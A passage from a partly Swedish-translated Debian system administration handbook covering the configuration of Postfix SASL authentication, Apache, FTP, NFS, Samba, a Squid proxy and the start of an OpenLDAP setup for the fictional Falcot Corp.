# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean [... type jean's password twice ...]

Note that the SASL database was created in Postfix's directory. In order to ensure consistency, we also turn /etc/sasldb2 into a symbolic link pointing at the database used by Postfix, with the ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2 command.

Now we need to configure Postfix to use SASL. First the postfix user needs to be added to the sasl group, so that it can access the SASL account database. A few new parameters are also needed to enable SASL, and the smtpd_recipient_restrictions parameter needs to be configured to allow SASL-authenticated clients to send emails freely.

Exempel 11.12. Aktivera SASL i /etc/postfix/main.cf

# Enable SASL authentication smtpd_sasl_auth_enable = yes # Define the SASL authentication domain to use smtpd_sasl_local_domain = $myhostname [...] # Adding permit_sasl_authenticated before reject_unauth_destination # allows relaying mail sent by SASL-authenticated users smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, [...]

It is usually a good idea to not send passwords over an unencrypted connection. Postfix allows to use different configurations for each port (service) it runs on. All these can be configured with different rules and directives in the /etc/postfix/master.cf file. To turn off authentication at all for port 25 (smtpd service) add the following directive:

smtp inet n - y - - smtpd [..] -o smtpd_sasl_auth_enable=no [..]

If for some reason clients use an outdated AUTH command (some very old mail clients do), interoperability with them can be enabled using the broken_sasl_auth_clients directive.

EXTRA Autentiserad SMTP-klient

Most email clients are able to authenticate to an SMTP server before sending outgoing messages, and using that feature is a simple matter of configuring the appropriate parameters. If the client in use does not provide that feature, the workaround is to use a local Postfix server and configure it to relay email via the remote SMTP server. In this case, the local Postfix itself will be the client that authenticates with SASL. Here are the required parameters:

smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd relay_host = [mail.falcot.com]

The /etc/postfix/sasl_passwd file needs to contain the username and password to use for authenticating on the mail.falcot.com server. Here is an example:

[mail.falcot.com] joe:LyinIsji

As for all Postfix maps, this file must be turned into /etc/postfix/sasl_passwd.db with the postmap command.

11.2. Webbserver (HTTP)

The Falcot Corp administrators decided to use the Apache HTTP server, included in Debian Bullseye at version 2.4.52.

ALTERNATIV Andra webbservrar

Apache is probably the most widely-known web server, but there are others. Its major opponent is nginx, which comes in different packages with different sets of features, like nginx-light, nginx-full, or nginx-extras. Another alternative is lighttpd. All of them can offer very good or even better performance under certain workloads or in certain situations, but not all provide the same number of available features and modules.

11.2.1. Installera Apache

Installing the apache2 package is all that is needed. It contains all the modules, including the Multi-Processing Modules (MPMs) that affect how Apache handles parallel processing of many requests, which used to be provided in separate apache2-mpm-* packages. It will also pull apache2-utils containing the command line utilities that we will discover later.

The MPM in use affects significantly the way Apache will handle concurrent requests. With the worker MPM, it uses threads (lightweight processes), whereas with the prefork MPM it uses a pool of processes created in advance. With the event MPM it also uses threads, but the inactive connections (notably those kept open by the HTTP keep-alive feature) are handed back to a dedicated management thread.

The Falcot administrators also install libapache2-mod-php so as to include the PHP 7.4 support in Apache. This causes the default event MPM to be disabled, and prefork to be used instead. To use the event MPM one can use php-fpm.

SECURITY Execution under the www-data user

By default, Apache handles incoming requests under the identity of the www-data user as defined in /etc/apache2/envvars. This means that a security vulnerability in a CGI script executed by Apache (for a dynamic page) won't compromise the whole system, but only the files owned by this particular user.

Using the suexec modules, provided by apache2-suexec-* packages, allows bypassing this rule so that some CGI scripts are executed under the identity of another user. This is configured with a SuexecUserGroup usergroup directive in the Apache configuration.

Another possibility is to use a dedicated MPM, such as the one provided by libapache2-mpm-itk. This particular one has a slightly different behavior: it allows “isolating” virtual hosts (actually, sets of pages) so that they each run as a different user. A vulnerability in one website therefore cannot compromise files belonging to the owner of another website.

SNABB TITT Lista över moduler

The full list of Apache standard modules can be found online.

→ https://httpd.apache.org/docs/2.4/mod/

Apache is a modular server, and many features are implemented by external modules that the main program loads during its initialization. The default configuration only enables the most common modules, but enabling new modules is a simple matter of running a2enmod module; to disable a module, the command is a2dismod module. These programs actually only create (or delete) symbolic links in /etc/apache2/mods-enabled/, pointing at the actual files (stored in /etc/apache2/mods-available/).

IN PRACTICE Checking the configuration

The mod_info module (a2enmod info) allows to access the comprehensive Apache server configuration and information via browser visiting http://localhost/server-info. Because it might contain sensitive information, access is only allowed from the local host by default.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

With its default configuration, the web server listens on port 80 (as configured in /etc/apache2/ports.conf), and serves pages from the /var/www/html/ directory (as configured in /etc/apache2/sites-enabled/000-default.conf).

11.2.2. Adding support for SSL

Apache 2.4 includes the SSL module (mod_ssl) required for secure HTTP (HTTPS) out of the box. It just needs to be enabled with a2enmod ssl, then the required directives have to be added to the configuration files. A configuration example is provided in /etc/apache2/sites-available/default-ssl.conf.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

If you want to generate trusted certificates, you can follow section Avsnitt 10.2.1, ”Creating gratis trusted certificates” and then adjust the following variables:

SSLCertificateFile /etc/letsencrypt/live/DOMAIN/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/DOMAIN/privkey.pem SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem SSLCACertificateFile /etc/ssl/certs/ca-certificates.crt

Some extra care must be taken if you want to favor SSL connections with Perfect Forward Secrecy (those connections use ephemeral session keys ensuring that a compromise of the server's secret key does not result in the compromise of old encrypted traffic that could have been stored while sniffing on the network). Have a look at Mozilla's recommendations in particular:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

As an alternative to the standard SSL module, there is an extension module called mod_gnutls, which is shipped with the libapache2-mod-gnutls package and enabled with the a2enmod gnutls command. Unfortunately the version packaged for Debian had serious issues and even security implications and is therefor not part of the Debian Bullseye release.

→ https://mod.gnutls.org/

11.2.3. Configuring Virtual Hosts

A virtual host is an extra identity for the web server.

Apache considers two different kinds of virtual hosts: those that are based on the IP address (or the port), and those that rely on the domain name of the web server. The first method requires allocating a different IP address (or port) for each site, whereas the second one can work on a single IP address (and port), and the sites are differentiated by the hostname sent by the HTTP client (which only works in version 1.1 of the HTTP protocol — fortunately that version is old enough that all clients use it already).

The (increasing) scarcity of IPv4 addresses usually favors the second method; however, it is made more complex if the virtual hosts need to provide HTTPS too, since the SSL protocol hasn't always provided for name-based virtual hosting; the SNI extension (Server Name Indication) that allows such a combination is not handled by all browsers. When several HTTPS sites need to run on the same server, they will usually be differentiated either by running on a different port or on a different IP address (IPv6 can help there).

The default configuration for Apache 2 enables name-based virtual hosts. In addition, a default virtual host is defined in the /etc/apache2/sites-enabled/000-default.conf file; this virtual host will be used if no host matching the request sent by the client is found.

CAUTION First virtual host

Requests concerning unknown virtual hosts will always be served by the first defined virtual host, which is why we defined www.falcot.com first here.

SNABB TITT Apache stöder SNI

The Apache server supports an SSL protocol extension called Server Name Indication (SNI). This extension allows the browser to send the hostname of the web server during the establishment of the SSL connection, much earlier than the HTTP request itself, which was previously used to identify the requested virtual host among those hosted on the same server (with the same IP address and port). This allows Apache to select the most appropriate SSL certificate for the transaction to proceed.

Before SNI, Apache would always use the certificate defined in the default virtual host. Clients trying to access another virtual host would then display warnings, since the certificate they received didn't match the website they were trying to access. Fortunately, most browsers now work with SNI; this includes Microsoft Internet Explorer starting with version 7.0 (starting on Vista), Mozilla Firefox starting with version 2.0, Apple Safari since version 3.2.1, and all versions of Google Chrome.

The Apache package provided in Debian is built with support for SNI; no particular configuration is therefore needed.

Each extra virtual host is then described by a file stored in /etc/apache2/sites-available/. Setting up a website for the falcot.org domain is therefore a simple matter of creating the following file, then enabling the virtual host with a2ensite www.falcot.org.

Exempel 11.13. etc/apache2/sites-available/www.falcot.org.conf filen

<VirtualHost *:80> ServerName www.falcot.org ServerAlias falcot.org DocumentRoot /srv/www/www.falcot.org </VirtualHost>

The Apache server, as configured so far, uses the same log files for all virtual hosts (although this could be changed by adding CustomLog directives in the definitions of the virtual hosts). It therefore makes good sense to customize the format of this log file to have it include the name of the virtual host. This can be done by creating a /etc/apache2/conf-available/customlog.conf file that defines a new format for all log files (with the LogFormat directive) and by enabling it with a2enconf customlog. The CustomLog line must also be removed (or commented out) from the /etc/apache2/sites-available/000-default.conf file.

Exempel 11.14. The /etc/apache2/conf-available/customlog.conf file

# New log format including (virtual) host name LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost # Now let's use this "vhost" format by default CustomLog /var/log/apache2/access.log vhost

11.2.4. Common Directives

This section briefly reviews some of the commonly-used Apache configuration directives.

The main configuration file usually includes several Directory blocks; they allow specifying different behaviors for the server depending on the location of the file being served. Such a block commonly includes Options and AllowOverride directives.

Exempel 11.15. Directory block

<Directory /srv/www> Options Includes FollowSymlinks AllowOverride All DirectoryIndex index.php index.html index.htm </Directory>

The DirectoryIndex directive contains a list of files to try when the client request matches a directory. The first existing file in the list is used and sent as a response.

The Options directive is followed by a list of options to enable. The None value disables all options; correspondingly, All enables them all except MultiViews. Available options include:

ExecCGI indicates that CGI scripts can be executed.

FollowSymlinks tells the server that symbolic links can be followed, and that the response should contain the contents of the target of such links.

SymlinksIfOwnerMatch also tells the server to follow symbolic links, but only when the link and its target have the same owner.

Includes enables Server Side Includes (SSI for short). These are directives embedded in HTML pages and executed on the fly for each request.

IncludesNOEXEC allows Server Side Includes (SSI) but disables the exec command and limits the include directive to text/markup files.

Indexes tells the server to list the contents of a directory if the HTTP request sent by the client points at a directory without an index file (i.e., when no files mentioned by the DirectoryIndex directive exists in this directory).

MultiViews enables content negotiation; this can be used by the server to return a web page matching the preferred language as configured in the browser.

TILLBAKA TILL GRUNDERNA .htaccess fil

The .htaccess file contains Apache configuration directives enforced each time a request concerns an element of the directory where it is stored. The scope of these directives also recurses to all the subdirectories within.

Most of the directives that can occur in a Directory block are also legal in a .htaccess file.

The AllowOverride directive lists all the options that can be enabled or disabled by way of a .htaccess file. A common use of this option is to restrict ExecCGI, so that the administrator chooses which users are allowed to run programs under the web server's identity (the www-data user).

11.2.4.1. Kräver autentisering

In some circumstances, access to part of a website needs to be restricted, so only legitimate users who provide a username and a password are granted access to the contents. These feature are provided by the mod_auth* modules.

Exempel 11.16. .htaccess file requiring authentication

Require valid-user AuthName "Private directory" AuthType Basic AuthUserFile /etc/apache2/authfiles/htpasswd-private

SÄKERHET Ingen säkerhet

The authentication system used in the above example (Basic) has minimal security as the password is sent in clear text (it is only encoded as base64, which is a simple encoding rather than an encryption method). It should also be noted that the documents “protected” by this mechanism also go over the network in the clear. If security is important, the whole HTTP connection should be encrypted with SSL.

The /etc/apache2/authfiles/htpasswd-private file contains a list of users and passwords; it is commonly manipulated with the htpasswd command. For example, the following command is used to add a user or change their password:

# htpasswd /etc/apache2/authfiles/htpasswd-private user New password: Re-type new password: Adding password for user user

11.2.4.2. Begränsa åtkomst

The Require directive controls access restrictions for a directory (and its subdirectories, recursively).

→ https://httpd.apache.org/docs/2.4/howto/access.html

It can be used to restrict access based on many criteria; we will stop at describing access restriction based on the IP address of the client, but it can be made much more powerful than that, especially when several Require directives are combined within a RequireAll block.

Exempel 11.17. Tillåt endast från det lokala nätverket

Require ip 192.168.0.0/16

ALTERNATIVE Old syntax

The Require syntax is only available in Apache 2.4 (the version shipped since Jessie). For users of Wheezy, the Apache 2.2 syntax is different, and we describe it here mainly for reference, although it can also be made available in Apache 2.4 using the mod_access_compat module.

The Allow from and Deny from directives control access restrictions for a directory (and its subdirectories, recursively).

The Order directive tells the server of the order in which the Allow from and Deny from directives are applied; the last one that matches takes precedence. In concrete terms, Order deny,allow allows access if no Deny from applies, or if an Allow from directive does. Conversely, Order allow,deny rejects access if no Allow from directive matches (or if a Deny from directive applies).

The Allow from and Deny from directives can be followed by an IP address, a network (such as 192.168.0.0/255.255.255.0, 192.168.0.0/24 or even 192.168.0), a hostname or a domain name, or the all keyword, designating everyone.

For instance, to reject connections by default but allow them from the local network, you could use this:

Order deny,allow Allow from 192.168.0.0/16 Deny from all

11.2.5. Log Analyzers

A log analyzer is frequently installed on a web server; since the former provides the administrators with a precise idea of the usage patterns of the latter.

The Falcot Corp administrators selected AWStats (Advanced Web Statistics) to analyze their Apache log files.

The first configuration step is the customization of the /etc/awstats/awstats.conf file. The Falcot administrators keep it unchanged apart from the following parameters:

LogFile="/var/log/apache2/access.log" LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" SiteDomain="www.falcot.com" HostAliases="falcot.com REGEX[^.*\.falcot\.com$]" DNSLookup=1 LoadPlugin="tooltips"

All these parameters are documented by comments in the template file. In particular, the LogFile and LogFormat parameters describe the location and format of the log file and the information it contains; SiteDomain and HostAliases list the various names under which the main web site is known.

For high traffic sites, DNSLookup should usually not be set to 1; for smaller sites, such as the Falcot one described above, this setting allows getting more readable reports that include full machine names instead of raw IP addresses.

SÄKERHET Tillgång till statistik

AWStats makes its statistics available on the website with no restrictions by default, but restrictions can be set up so that only a few (probably internal) IP addresses can access them; the list of allowed IP addresses needs to be defined in the AllowAccessFromWebToFollowingIPAddresses parameter

AWStats will also be enabled for other virtual hosts; each virtual host needs its own configuration file, such as /etc/awstats/awstats.www.falcot.org.conf.

Exempel 11.18. AWStats configuration file for a virtual host

Include "/etc/awstats/awstats.conf" SiteDomain="www.falcot.org" HostAliases="falcot.org"

AWStats uses many icons stored in the /usr/share/awstats/icon/ directory. In order for these icons to be available on the web site, the Apache configuration needs to be adapted to include the following directive (check out /usr/share/doc/awstats/examples/apache.conf for a more detailed example):

Alias /awstats-icon/ /usr/share/awstats/icon/

After a few minutes (and once the script has been run a few times), the results are available online:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

CAUTION Log file rotation

In order for the statistics to take all the logs into account, AWStats needs to be run right before the Apache log files are rotated. Looking at the prerotate directive of /etc/logrotate.d/apache2 file, this is solved by the awstats package by putting a script in /etc/logrotate.d/httpd-prerotate running /usr/share/awstats/tools/update.sh.

Note also that the log files created by logrotate need to be readable by everyone, especially AWStats. This is ensured by changing /etc/logrotate.d/apache2 to include create 644 root adm (instead of the default 640 permissions) for example. But please refer to /usr/share/doc/awstats/README.Debian.gz for a more extensive documentation about this topic and alternatives.

11.3. FTP filserver

FTP (File Transfer Protocol) is one of the first protocols of the Internet (RFC 959 was issued in 1985!). It was used to distribute files before the Web was even born (the HTTP protocol was created in 1990, and formally defined in its 1.0 version by RFC 1945, issued in 1996).

This protocol allows both file uploads and file downloads; for this reason, it is still widely used to deploy updates to a website hosted by one's Internet service provider (or any other entity hosting websites). In these cases, access is enforced with a user identifier and password; on successful authentication, the FTP server grants read-write access to that user's home directory.

SECURITY FTP, FTPS, and SFTP

FTP is not a secure protocol. User names, passwords, and data are transported in clear text. To increase the security, one can use FTP via implicit (enforced) or explicit (requested) SSL/TLS, also known as FTPS, but not to be confused with SFTP, the SSH File Transfer Protocol, an alternative file transfer implementation using SSH. Many FTP server packages in Debian support FTPS.

Other FTP servers are mainly used to distribute files for public downloading; Debian packages are a good example. The contents of these servers is fetched from other, geographically remote, servers; it is then made available to less distant users. This means that client authentication is not required; as a consequence, this operating mode is known as “anonymous FTP”. To be perfectly correct, the clients do authenticate with the anonymous username; the password is often, by convention, the user's email address, but the server ignores it.

Many FTP servers are available in Debian (ftpd(-ssl), proftpd-basic, pure-ftpd and so on), which all provide the virtual ftp-server package. Please note that the pyftpd package, however, has been removed from the Debian project due to not being actively maintained anymore and being incompatible with Python 3. The Falcot Corp administrators picked vsftpd because they only use the FTP server to distribute a few files (including a Debian package repository); since they don't need advanced features, they chose to focus on the security aspects.

Installing the package creates an ftp system user. This account is always used for anonymous FTP connections, and its home directory (/srv/ftp/) is the root of the tree made available to users connecting to this service. The default configuration (in /etc/vsftpd.conf) requires some changes to cater to the simple need of making big files available for public downloads: anonymous access needs to be enabled (anonymous_enable=YES) and read-only access of local users needs to be disabled (local_enable=NO). The latter is particularly important since the FTP protocol doesn't use any form of encryption and the user password could be intercepted over the wire.

FTP and FTPS resources can be accessed with a variety of clients, with and without a graphical user interface, and they can also be mounted locally using the curlftpfs command from the similarly named package.

11.4. NFS filserver

NFS (Network File System) is a protocol allowing remote access to a filesystem through the network. All Unix systems can work with this protocol.

SPECIFIC CASE Microsoft Windows and NFS Shares

When older or (so called) "Home" variants of Windows are involved, usually Samba (Avsnitt 11.5, ”Setting Up Windows Shares with Samba”) must be used instead of NFS. Modern Windows Server and "Pro" or "Enterprise" Desktop solutions however have built-in support for NFS. After installation of the "Services for NFS" components NFS shares can be accessed and temporarily or permanently mounted like any other network share. Be aware of possible encoding issues in file names.

As an alternative Debian can be installed on Windows 10 Pro and higher. It requires the installation of the Windows Subsystem for Linux (WSL) component and the Debian app from the Windows store.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS is a very useful tool but, historically, it has suffered from many limitations, most of which have been addressed with version 4 of the protocol. The downside is that the latest version of NFS is harder to configure when you want to make use of basic security features such as authentication and encryption since it relies on Kerberos for those parts. And without those, the NFS protocol must be restricted to a trusted local network since data goes over the network unencrypted (a sniffer can intercept it) and access rights are granted based on the client's IP address (which can be spoofed).

DOCUMENTATION NFS HOWTO

Good documentation to deploy NFSv4 is rather scarce. Here are some pointers with content of varying quality but that should at least give some hints on what should be done.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. Säkra NFS

If you don't use the Kerberos-based security features, it is vital to ensure that only the machines allowed to use NFS can connect to the various required RPC servers, because the basic protocol trusts the data received from the network. The firewall must also block IP spoofing so as to prevent an outside machine from acting as an inside one, and access to the appropriate ports must be restricted to the machines meant to access the NFS shares.

TILLBAKA TILL GRUNDERNA RPC

RPC (Remote Procedure Call) is a Unix standard for remote services. NFS is one such service.

RPC services register to a directory known as the portmapper. A client wishing to perform an NFS query first addresses the portmapper (on port 111, either TCP or UDP), and asks for the NFS server; the reply usually mentions port 2049 (the default for NFS). Not all RPC services necessarily use a fixed port.

Older versions of the protocol required other RPC services which used dynamically assigned ports. Fortunately, with NFS version 4, only port 2049 (for NFS) and 111 (for the portmapper) are needed and they are thus easy to firewall.

11.4.2. NFS server

The NFS server is part of the Linux kernel; in kernels provided by Debian it is built as a kernel module. If the NFS server is to be run automatically on boot, the nfs-kernel-server package should be installed; it contains the relevant start-up scripts.

The NFS server configuration file(s), /etc/exports and /etc/exports.d/, lists the directories that are made available over the network (exported). For each NFS share, only the given list of machines is granted access. More fine-grained access control can be obtained with a few options. The syntax for this file is quite simple:

/directory/to/share machine1(option1,option2,...) machine2(...) ...

Note that with NFSv4, all exported directories must be part of a single hierarchy and that the root directory of that hierarchy must be exported and identified with the option fsid=0 or fsid=root.

Each machine can be identified either by its DNS name or its IP address. Whole sets of machines can also be specified using either a syntax such as *.falcot.com or an IP address range such as 192.168.0.0/255.255.255.0 or 192.168.0.0/24.

Directories are made available as read-only by default (or with the ro option). The rw option allows read-write access. NFS clients typically connect from a port restricted to root (in other words, below 1024); this restriction can be lifted by the insecure option (the secure option is implicit, but it can be made explicit if needed for clarity).

By default, the server only answers an NFS query when the current disk operation is complete (sync option); this can be disabled with the async option. Asynchronous writes increase performance a bit, but they decrease reliability since there is a data loss risk in case of the server crashing between the acknowledgment of the write and the actual write on disk. Since the default value changed recently (as compared to the historical value of NFS), an explicit setting is recommended.

In order to not give root access to the filesystem to any NFS client, all queries appearing to come from a root user are considered by the server as coming from the nobody user. This behavior corresponds to the root_squash option, and is enabled by default. The no_root_squash option, which disables this behavior, is risky and should only be used in controlled environments. If all users should be mapped to the user nobody, use all_squash. The anonuid=uid and anongid=gid options allow specifying another fake user to be used instead of UID/GID 65534 (which corresponds to user nobody and group nogroup).

With NFSv4, you can add a sec option to indicate the security level that you want: sec=sys is the default with no special security features, sec=krb5 enables authentication only, sec=krb5i adds integrity protection, and sec=krb5p is the most complete level which includes privacy protection (with data encryption). For this to work you need a working Kerberos setup (that service is not covered by this book).

Other options are available; they are documented in the exports(5) manual page.

CAUTION First installation

The file /etc/exports does not list any valid NFS shares on initial installation. Once either this file or any file in /etc/exports.d/ has been edited or added to contain valid entries, the NFS server must be restarted with either of the following commands:

# exportfs -ra

# systemctl start nfs-kernel-server

11.4.3. NFS klient

As with other filesystems, integrating an NFS share into the system hierarchy requires mounting (and the nfs-common package). Since this filesystem has its peculiarities, a few adjustments were required in the syntax of the mount command and the /etc/fstab file.

Exempel 11.19. Manually mounting with the mount command

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

Exempel 11.20. NFS entry in the /etc/fstab file

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

The entry described above mounts, at system startup, the NFS directory /shared/ from the arrakis server into the local /srv/shared/ directory. Read-write access is requested (hence the rw parameter). The nosuid option is a protection measure that wipes any setuid or setgid bit from programs stored on the share. If the NFS share is only meant to store documents, another recommended option is noexec, which prevents executing programs stored on the share. Note that on the server, the shared directory is below the NFSv4 root export (for example /export/shared), it is not a top-level directory.

The nfs(5) manual page describes all the options in some detail.

11.5. Setting Up Windows Shares with Samba

Samba is a suite of tools handling the SMB protocol (also known as “CIFS”) on Linux. This protocol is used by Windows for network shares and shared printers.

Samba can also act as a Windows domain controller. This is an outstanding tool for ensuring seamless integration of Linux servers and the office desktop machines still running Windows.

11.5.1. Samba Server

The samba package contains the main two servers of Samba 4, smbd and nmbd.

DOKUMENTATION Gå vidare

The Samba server is extremely configurable and versatile, and can address a great many different use cases matching very different requirements and network architectures. This book only focuses on the use case where Samba is used as a standalone server, but it can also be an NT4 Domain Controller or a full Active Directory Domain Controller, or a simple member of an existing domain (which could be managed by a Windows server).

The samba package contains all the necessary manual pages and in /usr/share/doc/samba/examples/ a wealth of commented example files. If you are looking for a more comprehensive documentation, you may check the Samba website.

→ https://www.samba.org/samba/docs/

VERKTYG Autentisera med en Windows Server

Winbind gives system administrators the option of using a Windows server as an authentication server. Winbind also integrates cleanly with PAM and NSS. This allows setting up Linux machines where all users of a Windows domain automatically get an account.

More information can be found in the /usr/share/doc/libpam-winbind/examples/pam_winbind/ directory of the libpam-winbind package.

11.5.1.1. Konfigurera med debconf

The package sets up a minimal configuration during the initial installation in /etc/samba/smb.conf by plainly copying /usr/share/samba/smb.conf. So you should really run dpkg-reconfigure samba-common to adapt it:

On first installation the only piece of required information is the name of the workgroup where the Samba server will belong (the answer is FALCOTNET in our case).

In case of a package update (from the old stable Debian version) or if the SMB server has already been configured to use a WINS server (wins server), the package also proposes identifying the WINS server from the information provided by the DHCP daemon. The Falcot Corp administrators rejected this option, since they intend to use the Samba server itself as the WINS server.

11.5.1.2. Konfigurera manuellt

11.5.1.2.1. Ändringar i smb.conf

The requirements at Falcot require other options to be modified in the /etc/samba/smb.conf configuration file. The following excerpts summarize the changes that were effected in the [global] section.

[...] [global] ## Browsing/Identification ### # Change this to the workgroup/NT-domain name your Samba server will part of workgroup = FALCOTNET [...] # Windows Internet Name Serving Support Section: # WINS Support - Tells the NMBD component of Samba to enable its WINS Server wins support = yes [...] ####### Authentication ####### # Server role. Defines in which mode Samba will operate. Possible # values are "standalone server", "member server", "classic primary # domain controller", "classic backup domain controller", "active # directory domain controller". # # Most people will want "standalone server" or "member server". # Running as "active directory domain controller" will require first # running "samba-tool domain provision" to wipe databases and create a # new domain. server role = standalone server obey pam restrictions = yes [...] # "security = user" is always a good idea. This will require a Unix account # in this server for every user accessing the server. security = user [...]

Indicates that Samba should act as a Netbios name server (WINS) for the local network. This option had been removed from the default configuration in Buster and must be added manually if desired.

This is the default value for this parameter; however, since it is central to the Samba configuration, filling it explicitly is recommended. Each user must authenticate before accessing any share.

11.5.1.2.2. Lägga till användare

Each Samba user needs an account on the server; the Unix accounts must be created first, then the user needs to be registered in Samba's database. The Unix step is done quite normally (using adduser for instance).

Adding an existing user to the Samba database is a matter of running the smbpasswd -a user command; this command asks for the password interactively.

A user can be deleted with the smbpasswd -x user command. A Samba account can also be temporarily disabled (with smbpasswd -d user) and re-enabled later (with smbpasswd -e user).

11.5.2. Samba klient

The client features in Samba allow a Linux machine to access Windows shares and shared printers. The required programs are available in the cifs-utils and smbclient packages.

11.5.2.1. The smbclient Programmet

The smbclient program queries SMB servers. It accepts a -U user option, for connecting to the server under a specific identity. smbclient //server/share accesses the share in an interactive way similar to the command-line FTP client. smbclient -L server lists all available (and visible) shares on a server.

11.5.2.2. Mounting Windows Shares

The mount command allows mounting a Windows share into the Linux filesystem hierarchy (with the help of mount.cifs provided by cifs-utils).

Exempel 11.21. Mounting a Windows share

mount -t cifs //arrakis/shared /shared \ -o credentials=/etc/smb-credentials

The /etc/smb-credentials file (which must not be readable by users) has the following format:

username = användarnamn password = lösenord

Other options can be specified on the command-line; their full list is available in the mount.cifs(1) manual page. Two options in particular can be interesting: uid and gid allow forcing the owner and group of files available on the mount, so as not to restrict access to root.

A mount of a Windows share can also be configured in /etc/fstab:

//server/shared /shared cifs credentials=/etc/smb-credentials

Unmounting an SMB/CIFS share is done with the standard umount command.

11.5.2.3. Printing on a Shared Printer

CUPS is an elegant solution for printing from a Linux workstation to a printer shared by a Windows machine. When the smbclient is installed, CUPS allows installing Windows shared printers automatically.

Here are the required steps:

Enter the CUPS configuration interface: http://localhost:631/admin

Klicka på "Lägg till skrivare".

Choose the printer device, pick “Windows Printer via SAMBA”.

Enter the connection URI for the network printer. It should look like the following:

smb://användare:lösenord@server/skrivare.

Enter the name that will uniquely identify this printer. Then enter the description and location of the printer. Those are the strings that will be shown to end users to help them identify the printers.

Indicate the manufacturer/model of the printer, or directly provide a working printer description file (PPD).

Voilà, the printer is operational!

11.6. HTTP/FTP Proxy

An HTTP/FTP proxy acts as an intermediary for HTTP and/or FTP connections. Its role is twofold:

Caching: recently downloaded documents are copied locally, which avoids multiple downloads.

Filtering server: if use of the proxy is mandated (and outgoing connections are blocked unless they go through the proxy), then the proxy can determine whether or not the request is to be granted.

Falcot Corp selected Squid as their proxy server.

11.6.1. Installera

The squid Debian package only contains the modular (caching) proxy. Turning it into a filtering server requires installing the additional squidguard package. In addition, squid-cgi provides a querying and administration interface for a Squid proxy.

Prior to installing, care should be taken to check that the system can identify its own complete name: the hostname -f must return a fully-qualified name (including a domain). If it does not, then the /etc/hosts file should be edited to contain the full name of the system (for instance, arrakis.falcot.com). The official computer name should be validated with the network administrator in order to avoid potential name conflicts.

11.6.2. Konfigurera en cache

Enabling the caching server feature is a simple matter of editing the /etc/squid/squid.conf configuration file and allowing machines from the local network to run queries through the proxy. The following example shows the modifications made by the Falcot Corp administrators:

Exempel 11.22. The /etc/squid/squid.conf file (excerpts)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS # include /etc/squid/conf.d/* # Example rule allowing access from your local networks. # Adapt localnet in the ACL section to list your (internal) IP networks # from where browsing should be allowed acl our_networks src 192.168.1.0/24 192.168.2.0/24 http_access allow our_networks http_access allow localhost # And finally deny all other access to this proxy http_access deny all

11.6.3. Konfigurera ett filter

squid itself does not perform the filtering; this action is delegated to squidGuard. The former must then be configured to interact with the latter. This involves adding the following directive to the /etc/squid/squid.conf file:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

The /usr/lib/cgi-bin/squidGuard.cgi CGI program also needs to be installed, using /usr/share/doc/squidguard/examples/squidGuard.cgi as a starting point. Required modifications to this script are the $proxy and $proxymaster variables (the name of the proxy and the administrator's contact email, respectively). The $image and $redirect variables should point to existing images representing the rejection of a query.

The filter is enabled with the systemctl reload squid command. However, since the squidguard package does no filtering by default, it is the administrator's task to define the policy. This can be done by creating the /etc/squid/squidGuard.conf file (using /etc/squidguard/squidGuard.conf.default as template if required).

The working database must be regenerated with update-squidguard after each change of the squidGuard configuration file (or one of the lists of domains or URLs it mentions). The configuration file syntax is documented on the following website:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVE E2guardian (a DansGuardian Fork)

The e2guardian package, a DansGuardian fork, is an alternative to squidguard. This software does not simply handle a blacklist of forbidden URLs, it can also take advantage of content and anti-virus scanning and it provides broad authentication support.

11.7. LDAP-katalog

OpenLDAP is an implementation of the LDAP protocol; in other words, it is a special-purpose database designed for storing directories. In the most common use case, using an LDAP server allows centralizing management of user accounts and the related permissions. Moreover, an LDAP database is easily replicated, which allows setting up multiple synchronized LDAP servers. When the network and the user base grows quickly, the load can then be balanced across several servers.

LDAP data is structured and hierarchical. The structure is defined by “schemas” which describe the kind of objects that the database can store, with a list of all their possible attributes. The syntax used to refer to a particular object in the database is based on this structure, which explains its complexity.

11.7.1. Installera

The slapd package contains the OpenLDAP server. The ldap-utils package includes command-line tools for interacting with LDAP servers.

Installing slapd usually asks only for the administrator's password and the resulting database is unlikely to suit your needs. Fortunately a simple dpkg-reconfigure slapd will let you reconfigure the LDAP database with more details:

Omit OpenLDAP server configuration? No, of course, we want to configure this service.

DNS-domännamn: “ falcot.com ”.

Organisationsnamn: “Falcot Corp”.

Ett administrativt lösenord måste skrivas in.

Database backend to use: “MDB”.

Do you want the database to be removed when slapd is purged? No. No point in risking losing the database in case of a mistake.

Move old database? This question is only asked when the configuration is attempted while a database already exists. Only answer “yes” if you actually want to start again from a clean database, for instance if you run dpkg-reconfigure slapd right after the initial installation.

TILLBAKA TILL GRUNDERNA LDIF-format

An LDIF file (LDAP Data Interchange Format) is a portable text file describing the contents of an LDAP database (or a portion thereof); this can then be used to inject the data into any other LDAP server.

A minimal database is now configured, as demonstrated by the following query:

